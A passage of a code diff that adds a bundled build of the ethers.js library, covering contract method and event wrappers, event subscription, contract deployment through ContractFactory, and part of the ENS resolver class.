with no matching events. + */ + log; + /** + * @_event: + */ + constructor(contract, listener, filter, log) { + super(contract, listener, filter); + defineProperties(this, { log }); + } + /** + * Resolves to the block the event occured in. + */ + async getBlock() { + return await this.log.getBlock(); + } + /** + * Resolves to the transaction the event occured in. + */ + async getTransaction() { + return await this.log.getTransaction(); + } + /** + * Resolves to the transaction receipt the event occured in. + */ + async getTransactionReceipt() { + return await this.log.getTransactionReceipt(); + } + } + /** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ + class ContractEventPayload extends ContractUnknownEventPayload { + /** + * @_ignore: + */ + constructor(contract, listener, filter, fragment, _log) { + super(contract, listener, filter, new EventLog(_log, contract.interface, fragment)); + const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics); + defineProperties(this, { args, fragment }); + } + /** + * The event name. + */ + get eventName() { + return this.fragment.name; + } + /** + * The event signature. + */ + get eventSignature() { + return this.fragment.format(); + } + } + + const BN_0$1 = BigInt(0); + function canCall(value) { + return (value && typeof (value.call) === "function"); + } + function canEstimate(value) { + return (value && typeof (value.estimateGas) === "function"); + } + function canResolve(value) { + return (value && typeof (value.resolveName) === "function"); + } + function canSend(value) { + return (value && typeof (value.sendTransaction) === "function"); + } + function getResolver(value) { + if (value != null) { + if (canResolve(value)) { + return value; + } + if (value.provider) { + return value.provider; + } + } + return undefined; + } + class PreparedTopicFilter { + #filter; + fragment; + constructor(contract, fragment, args) { + defineProperties(this, { fragment }); + if (fragment.inputs.length < args.length) { + throw new Error("too many arguments"); + } + // Recursively descend into args and resolve any addresses + const runner = getRunner(contract.runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + this.#filter = (async function () { + const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => { + const arg = args[index]; + if (arg == null) { + return null; + } + return param.walkAsync(args[index], (type, value) => { + if (type === "address") { + if (Array.isArray(value)) { + return Promise.all(value.map((v) => resolveAddress(v, resolver))); + } + return resolveAddress(value, resolver); + } + return value; + }); + })); + return contract.interface.encodeFilterTopics(fragment, resolvedArgs); + })(); + } + getTopicFilter() { + return this.#filter; + } + } + // A = Arguments passed in as a tuple + // R = The result type of the call (i.e. if only one return type, + // the qualified type, otherwise Result) + // D = The type the default call will return (i.e. R for view/pure, + // TransactionResponse otherwise) + //export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> { + function getRunner(value, feature) { + if (value == null) { + return null; + } + if (typeof (value[feature]) === "function") { + return value; + } + if (value.provider && typeof (value.provider[feature]) === "function") { + return value.provider; + } + return null; + } + function getProvider(value) { + if (value == null) { + return null; + } + return value.provider || null; + } + /** + * @_ignore: + */ + async function copyOverrides(arg, allowed) { + // Make sure the overrides passed in are a valid overrides object + const _overrides = Typed.dereference(arg, "overrides"); + assertArgument(typeof (_overrides) === "object", "invalid overrides parameter", "overrides", arg); + // Create a shallow copy (we'll deep-ify anything needed during normalizing) + const overrides = copyRequest(_overrides); + assertArgument(overrides.to == null || (allowed || []).indexOf("to") >= 0, "cannot override to", "overrides.to", overrides.to); + assertArgument(overrides.data == null || (allowed || []).indexOf("data") >= 0, "cannot override data", "overrides.data", overrides.data); + // Resolve any from + if (overrides.from) { + overrides.from = overrides.from; + } + return overrides; + } + /** + * @_ignore: + */ + async function resolveArgs(_runner, inputs, args) { + // Recursively descend into args and resolve any addresses + const runner = getRunner(_runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + return await Promise.all(inputs.map((param, index) => { + return param.walkAsync(args[index], (type, value) => { + value = Typed.dereference(value, type); + if (type === "address") { + return resolveAddress(value, resolver); + } + return value; + }); + })); + } + function buildWrappedFallback(contract) { + const populateTransaction = async function (overrides) { + // If an overrides was passed in, copy it and normalize the values + const tx = (await copyOverrides(overrides, ["data"])); + tx.to = await contract.getAddress(); + if (tx.from) { + tx.from = await resolveAddress(tx.from, getResolver(contract.runner)); + } + const iface = contract.interface; + const noValue = (getBigInt((tx.value || BN_0$1), "overrides.value") === BN_0$1); + const noData = ((tx.data || "0x") === "0x"); + if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) { + assertArgument(false, "cannot send data to receive or send value to non-payable fallback", "overrides", overrides); + } + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + // Only allow payable contracts to set non-zero value + const payable = iface.receive || (iface.fallback && iface.fallback.payable); + assertArgument(payable || noValue, "cannot send value to non-payable fallback", "overrides.value", tx.value); + // Only allow fallback contracts to set non-empty data + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + return tx; + }; + const staticCall = async function (overrides) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(overrides); + try { + return await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + }; + const send = async function (overrides) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(overrides)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (overrides) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(overrides)); + }; + const method = async (overrides) => { + return await send(overrides); + }; + defineProperties(method, { + _contract: contract, + estimateGas, + populateTransaction, + send, staticCall + }); + return method; + } + function buildWrappedMethod(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getFunction(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const populateTransaction = async function (...args) { + const fragment = getFragment(...args); + // If an overrides was passed in, copy it and normalize the values + let overrides = {}; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + if (overrides.from) { + overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner)); + } + } + if (fragment.inputs.length !== args.length) { + throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); + } + const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args); + return Object.assign({}, overrides, await resolveProperties({ + to: contract.getAddress(), + data: contract.interface.encodeFunctionData(fragment, resolvedArgs) + })); + }; + const staticCall = async function (...args) { + const result = await staticCallResult(...args); + if (result.length === 1) { + return result[0]; + } + return result; + }; + const send = async function (...args) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(...args)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (...args) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(...args)); + }; + const staticCallResult = async function (...args) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(...args); + let result = "0x"; + try { + result = await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + const fragment = getFragment(...args); + return contract.interface.decodeFunctionResult(fragment, result); + }; + const method = async (...args) => { + const fragment = getFragment(...args); + if (fragment.constant) { + return await staticCall(...args); + } + return await send(...args); + }; + defineProperties(method, { + name: contract.interface.getFunctionName(key), + _contract: contract, _key: key, + getFragment, + estimateGas, + populateTransaction, + send, staticCall, staticCallResult, + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getFunction(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; + } + function buildWrappedEvent(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getEvent(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const method = function (...args) { + return new PreparedTopicFilter(contract, getFragment(...args), args); + }; + defineProperties(method, { + name: contract.interface.getEventName(key), + _contract: contract, _key: key, + getFragment + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getEvent(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; + } + // The combination of TypeScrype, Private Fields and Proxies makes + // the world go boom; so we hide variables with some trickery keeping + // a symbol attached to each BaseContract which its sub-class (even + // via a Proxy) can reach and use to look up its internal values. + const internal = Symbol.for("_ethersInternal_contract"); + const internalValues = new WeakMap(); + function setInternal(contract, values) { + internalValues.set(contract[internal], values); + } + function getInternal(contract) { + return internalValues.get(contract[internal]); + } + function isDeferred(value) { + return (value && typeof (value) === "object" && ("getTopicFilter" in value) && + (typeof (value.getTopicFilter) === "function") && value.fragment); + } + async function getSubInfo(contract, event) { + let topics; + let fragment = null; + // Convert named events to topicHash and get the fragment for + // events which need deconstructing. + if (Array.isArray(event)) { + const topicHashify = function (name) { + if (isHexString(name, 32)) { + return name; + } + const fragment = contract.interface.getEvent(name); + assertArgument(fragment, "unknown fragment", "name", name); + return fragment.topicHash; + }; + // Array of Topics and Names; e.g. `[ "0x1234...89ab", "Transfer(address)" ]` + topics = event.map((e) => { + if (e == null) { + return null; + } + if (Array.isArray(e)) { + return e.map(topicHashify); + } + return topicHashify(e); + }); + } + else if (event === "*") { + topics = [null]; + } + else if (typeof (event) === "string") { + if (isHexString(event, 32)) { + // Topic Hash + topics = [event]; + } + else { + // Name or Signature; e.g. `"Transfer", `"Transfer(address)"` + fragment = contract.interface.getEvent(event); + assertArgument(fragment, "unknown fragment", "event", event); + topics = [fragment.topicHash]; + } + } + else if (isDeferred(event)) { + // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)` + topics = await event.getTopicFilter(); + } + else if ("fragment" in event) { + // ContractEvent; e.g. `contract.filter.Transfer` + fragment = event.fragment; + topics = [fragment.topicHash]; + } + else { + assertArgument(false, "unknown event name", "event", event); + } + // Normalize topics and sort TopicSets + topics = topics.map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values()); + if (items.length === 1) { + return items[0]; + } + items.sort(); + return items; + } + return t.toLowerCase(); + }); + const tag = topics.map((t) => { + if (t == null) { + return "null"; + } + if (Array.isArray(t)) { + return t.join("|"); + } + return t; + }).join("&"); + return { fragment, tag, topics }; + } + async function hasSub(contract, event) { + const { subs } = getInternal(contract); + return subs.get((await getSubInfo(contract, event)).tag) || null; + } + async function getSub(contract, operation, event) { + // Make sure our runner can actually subscribe to events + const provider = getProvider(contract.runner); + assert(provider, "contract runner does not support subscribing", "UNSUPPORTED_OPERATION", { operation }); + const { fragment, tag, topics } = await getSubInfo(contract, event); + const { addr, subs } = getInternal(contract); + let sub = subs.get(tag); + if (!sub) { + const address = (addr ? addr : contract); + const filter = { address, topics }; + const listener = (log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = contract.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + // If fragment is null, we do not deconstruct the args to emit + if (foundFragment) { + const _foundFragment = foundFragment; + const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : []; + emit(contract, event, args, (listener) => { + return new ContractEventPayload(contract, listener, event, _foundFragment, log); + }); + } + else { + emit(contract, event, [], (listener) => { + return new ContractUnknownEventPayload(contract, listener, event, log); + }); + } + }; + let starting = []; + const start = () => { + if (starting.length) { + return; + } + starting.push(provider.on(filter, listener)); + }; + const stop = async () => { + if (starting.length == 0) { + return; + } + let started = starting; + starting = []; + await Promise.all(started); + provider.off(filter, listener); + }; + sub = { tag, listeners: [], start, stop }; + subs.set(tag, sub); + } + return sub; + } + // We use this to ensure one emit resolves before firing the next to + // ensure correct ordering (note this cannot throw and just adds the + // notice to the event queu using setTimeout). + let lastEmit = Promise.resolve(); + async function _emit(contract, event, args, payloadFunc) { + await lastEmit; + const sub = await hasSub(contract, event); + if (!sub) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const passArgs = Array.from(args); + if (payloadFunc) { + passArgs.push(payloadFunc(once ? null : listener)); + } + try { + listener.call(contract, ...passArgs); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + sub.stop(); + getInternal(contract).subs.delete(sub.tag); + } + return (count > 0); + } + async function emit(contract, event, args, payloadFunc) { + try { + await lastEmit; + } + catch (error) { } + const resultPromise = _emit(contract, event, args, payloadFunc); + lastEmit = resultPromise; + return await resultPromise; + } + const passProperties = ["then"]; + class BaseContract { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + target; + /** + * The contract Interface. + */ + interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + runner; + /** + * All the Events available on this contract. + */ + filters; + /** + * @_ignore: + */ + [internal]; + /** + * The fallback or receive function if any. + */ + fallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target, abi, runner, _deployTx) { + assertArgument(typeof (target) === "string" || isAddressable(target), "invalid value for Contract target", "target", target); + if (runner == null) { + runner = null; + } + const iface = Interface.from(abi); + defineProperties(this, { target, runner, interface: iface }); + Object.defineProperty(this, internal, { value: {} }); + let addrPromise; + let addr = null; + let deployTx = null; + if (_deployTx) { + const provider = getProvider(runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx); + } + let subs = new Map(); + // Resolve the target as the address + if (typeof (target) === "string") { + if (isHexString(target)) { + addr = target; + addrPromise = Promise.resolve(target); + } + else { + const resolver = getRunner(runner, "resolveName"); + if (!canResolve(resolver)) { + throw makeError("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { + operation: "resolveName" + }); + } + addrPromise = resolver.resolveName(target).then((addr) => { + if (addr == null) { + throw makeError("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { + value: target + }); + } + getInternal(this).addr = addr; + return addr; + }); + } + } + else { + addrPromise = target.getAddress().then((addr) => { + if (addr == null) { + throw new Error("TODO"); + } + getInternal(this).addr = addr; + return addr; + }); + } + // Set our private values + setInternal(this, { addrPromise, addr, deployTx, subs }); + // Add the event filters + const filters = new Proxy({}, { + get: (target, prop, receiver) => { + // Pass important checks (like `then` for Promise) through + if (typeof (prop) === "symbol" || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + try { + return this.getEvent(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return Reflect.has(target, prop) || this.interface.hasEvent(String(prop)); + } + }); + defineProperties(this, { filters }); + defineProperties(this, { + fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null) + }); + // Return a Proxy that will respond to functions + return new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + // Undefined properties should return undefined + try { + return target.getFunction(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return target.interface.hasFunction(prop); + } + }); + } + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner) { + return new BaseContract(this.target, this.interface, runner); + } + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Return the resolved address of this Contract. + */ + async getAddress() { return await getInternal(this).addrPromise; } + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + async getDeployedCode() { + const provider = getProvider(this.runner); + assert(provider, "runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); + const code = await provider.getCode(await this.getAddress()); + if (code === "0x") { + return null; + } + return code; + } + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + async waitForDeployment() { + // We have the deployement transaction; just use that (throws if deployement fails) + const deployTx = this.deploymentTransaction(); + if (deployTx) { + await deployTx.wait(); + return this; + } + // Check for code + const code = await this.getDeployedCode(); + if (code != null) { + return this; + } + // Make sure we can subscribe to a provider event + const provider = getProvider(this.runner); + assert(provider != null, "contract runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }); + return new Promise((resolve, reject) => { + const checkCode = async () => { + try { + const code = await this.getDeployedCode(); + if (code != null) { + return resolve(this); + } + provider.once("block", checkCode); + } + catch (error) { + reject(error); + } + }; + checkCode(); + }); + } + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction() { + return getInternal(this).deployTx; + } + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + const func = buildWrappedMethod(this, key); + return func; + } + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + return buildWrappedEvent(this, key); + } + /** + * @_ignore: + */ + async queryTransaction(hash) { + throw new Error("@TODO"); + } + /* + // @TODO: this is a non-backwards compatible change, but will be added + // in v7 and in a potential SmartContract class in an upcoming + // v6 release + async getTransactionReceipt(hash: string): Promise { + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryTransaction" }); + + const receipt = await provider.getTransactionReceipt(hash); + if (receipt == null) { return null; } + + return new ContractTransactionReceipt(this.interface, provider, receipt); + } + */ + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + async queryFilter(event, fromBlock, toBlock) { + if (fromBlock == null) { + fromBlock = 0; + } + if (toBlock == null) { + toBlock = "latest"; + } + const { addr, addrPromise } = getInternal(this); + const address = (addr ? addr : (await addrPromise)); + const { fragment, topics } = await getSubInfo(this, event); + const filter = { address, topics, fromBlock, toBlock }; + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", "UNSUPPORTED_OPERATION", { operation: "queryFilter" }); + return (await provider.getLogs(filter)).map((log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = this.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + if (foundFragment) { + try { + return new EventLog(log, this.interface, foundFragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return new Log(log, provider); + }); + } + /** + * Add an event %%listener%% for the %%event%%. + */ + async on(event, listener) { + const sub = await getSub(this, "on", event); + sub.listeners.push({ listener, once: false }); + sub.start(); + return this; + } + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + async once(event, listener) { + const sub = await getSub(this, "once", event); + sub.listeners.push({ listener, once: true }); + sub.start(); + return this; + } + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + async emit(event, ...args) { + return await emit(this, event, args, null); + } + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + async listenerCount(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + const { subs } = getInternal(this); + let total = 0; + for (const { listeners } of subs.values()) { + total += listeners.length; + } + return total; + } + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + async listeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + const { subs } = getInternal(this); + let result = []; + for (const { listeners } of subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + async off(event, listener) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (listener == null || sub.listeners.length === 0) { + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + return this; + } + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + async removeAllListeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + else { + const { subs } = getInternal(this); + for (const { tag, stop } of subs.values()) { + stop(); + subs.delete(tag); + } + } + return this; + } + /** + * Alias for [on]. + */ + async addListener(event, listener) { + return await this.on(event, listener); + } + /** + * Alias for [off]. + */ + async removeListener(event, listener) { + return await this.off(event, listener); + } + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi) { + class CustomContract extends BaseContract { + constructor(address, runner = null) { + super(address, abi, runner); + } + } + return CustomContract; + } + ; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target, abi, runner) { + if (runner == null) { + runner = null; + } + const contract = new this(target, abi, runner); + return contract; + } + } + function _ContractBase() { + return BaseContract; + } + /** + * A [[BaseContract]] with no type guards on its methods or events. + */ + class Contract extends _ContractBase() { + } + + // A = Arguments to the constructor + // I = Interface of deployed contracts + /** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ + class ContractFactory { + /** + * The Contract Interface. + */ + interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + bytecode; + /** + * The ContractRunner to deploy the Contract as. + */ + runner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi, bytecode, runner) { + const iface = Interface.from(abi); + // Dereference Solidity bytecode objects and allow a missing `0x`-prefix + if (bytecode instanceof Uint8Array) { + bytecode = hexlify(getBytes(bytecode)); + } + else { + if (typeof (bytecode) === "object") { + bytecode = bytecode.object; + } + if (!bytecode.startsWith("0x")) { + bytecode = "0x" + bytecode; + } + bytecode = hexlify(getBytes(bytecode)); + } + defineProperties(this, { + bytecode, interface: iface, runner: (runner || null) + }); + } + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + async getDeployTransaction(...args) { + let overrides = {}; + const fragment = this.interface.deploy; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + } + if (fragment.inputs.length !== args.length) { + throw new Error("incorrect number of arguments to constructor"); + } + const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args); + const data = concat([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]); + return Object.assign({}, overrides, { data }); + } + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + async deploy(...args) { + const tx = await this.getDeployTransaction(...args); + assert(this.runner && typeof (this.runner.sendTransaction) === "function", "factory runner does not support sending transactions", "UNSUPPORTED_OPERATION", { + operation: "sendTransaction" + }); + const sentTx = await this.runner.sendTransaction(tx); + const address = getCreateAddress(sentTx); + return new BaseContract(address, this.interface, this.runner, sentTx); + } + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner) { + return new ContractFactory(this.interface, this.bytecode, runner); + } + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity(output, runner) { + assertArgument(output != null, "bad compiler output", "output", output); + if (typeof (output) === "string") { + output = JSON.parse(output); + } + const abi = output.abi; + let bytecode = ""; + if (output.bytecode) { + bytecode = output.bytecode; + } + else if (output.evm && output.evm.bytecode) { + bytecode = output.evm.bytecode; + } + return new this(abi, bytecode, runner); + } + } + + /** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ + // @TODO: This should use the fetch-data:ipfs gateway + // Trim off the ipfs:// prefix and return the default gateway URL + function getIpfsLink(link) { + if (link.match(/^ipfs:\/\/ipfs\//i)) { + link = link.substring(12); + } + else if (link.match(/^ipfs:\/\//i)) { + link = link.substring(7); + } + else { + assertArgument(false, "unsupported IPFS format", "link", link); + } + return `https:/\/gateway.ipfs.io/ipfs/${link}`; + } + /** + * A provider plugin super-class for processing multicoin address types. + */ + class MulticoinProviderPlugin { + /** + * The name. + */ + name; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name) { + defineProperties(this, { name }); + } + connect(proivder) { + return this; + } + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType) { + return false; + } + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + async encodeAddress(coinType, address) { + throw new Error("unsupported coin"); + } + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + async decodeAddress(coinType, data) { + throw new Error("unsupported coin"); + } + } + const matcherIpfs = new RegExp("^(ipfs):/\/(.*)$", "i"); + const matchers = [ + new RegExp("^(https):/\/(.*)$", "i"), + new RegExp("^(data):(.*)$", "i"), + matcherIpfs, + new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i"), + ]; + /** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ + class EnsResolver { + /** + * The connected provider. + */ + provider; + /** + * The address of the resolver. + */ + address; + /** + * The name this resolver was resolved against. + */ + name; + // For EIP-2544 names, the ancestor that provided the resolver + #supports2544; + #resolver; + constructor(provider, address, name) { + defineProperties(this, { provider, address, name }); + this.#supports2544 = null; + this.#resolver = new Contract(address, [ + "function supportsInterface(bytes4) view returns (bool)", + "function resolve(bytes, bytes) view returns (bytes)", + "function addr(bytes32) view returns (address)", + "function addr(bytes32, uint) view returns (bytes)", + "function text(bytes32, string) view returns (string)", + "function contenthash(bytes32) view returns (bytes)", + ], provider); + } + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + async supportsWildcard() { + if (this.#supports2544 == null) { + this.#supports2544 = (async () => { + try { + return await this.#resolver.supportsInterface("0x9061b923"); + } + catch (error) { + // Wildcard resolvers must understand supportsInterface + // and return true. + if (isError(error, "CALL_EXCEPTION")) { + return false; + } + // Let future attempts try again... + this.#supports2544 = null; + throw error; + } + })(); + } + return await this.#supports2544; + } + async #fetch(funcName, params) { + params = (params || []).slice(); + const iface = this.#resolver.interface; + // The first parameters is always the nodehash + params.unshift(namehash(this.name)); + let fragment = null; + if (await this.supportsWildcard()) { + fragment = iface.getFunction(funcName); + assert(fragment, "missing fragment", "UNKNOWN_ERROR", { + info: { funcName } + }); + params = [ + dnsEncode(this.name, 255), + iface.encodeFunctionData(fragment, params) + ]; + funcName = "resolve(bytes,bytes)"; + } + params.push({ + enableCcipRead: true + }); + try { + const result = await this.#resolver[funcName](...params); + if (fragment) { + return iface.decodeFunctionResult(fragment, result)[0]; + } + return result; + } + catch (error) { + if (!isError(error, "CALL_EXCEPTION")) { + throw error; + } + } + return null; + } + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + async getAddress(coinType) { + if (coinType == null) { + coinType = 60; + } + if (coinType === 60) { + try { + const result = await this.#fetch("addr(bytes32)"); + // No address + if (result == null || result === ZeroAddress) { + return null; + } + return result; + } + catch (error) { + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + } + // Try decoding its EVM canonical chain as an EVM chain address first + if (coinType >= 0 && coinType < 0x80000000) { + let ethCoinType = coinType + 0x80000000; + const data = await this.#fetch("addr(bytes32,uint)", [ethCoinType]); + if (isHexString(data, 20)) { + return getAddress(data); + } + } + let coinPlugin = null; + for (const plugin of this.provider.plugins) { + if (!(plugin instanceof MulticoinProviderPlugin)) { + continue; + } + if (plugin.supportsCoinType(coinType)) { + coinPlugin = plugin; + break; + } + } + if (coinPlugin == null) { + return null; + } + // keccak256("addr(bytes32,uint256") + const data = await this.#fetch("addr(bytes32,uint)", [coinType]); + // No address + if (data == null || data === "0x") { + return null; + } + // Compute the address + const address = await coinPlugin.decodeAddress(coinType, data); + if (address != null) { + return address; + } + assert(false, `invalid coin data`, "UNSUPPORTED_OPERATION", { + operation: `getAddress(${coinType})`, + info: { coinType, data } + }); + } + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + async getText(key) { + const data = await this.#fetch("text(bytes32,string)", [key]); + if (data == null || data === "0x") { + return null; + } + return data; + } + /** + * Rsolves to the 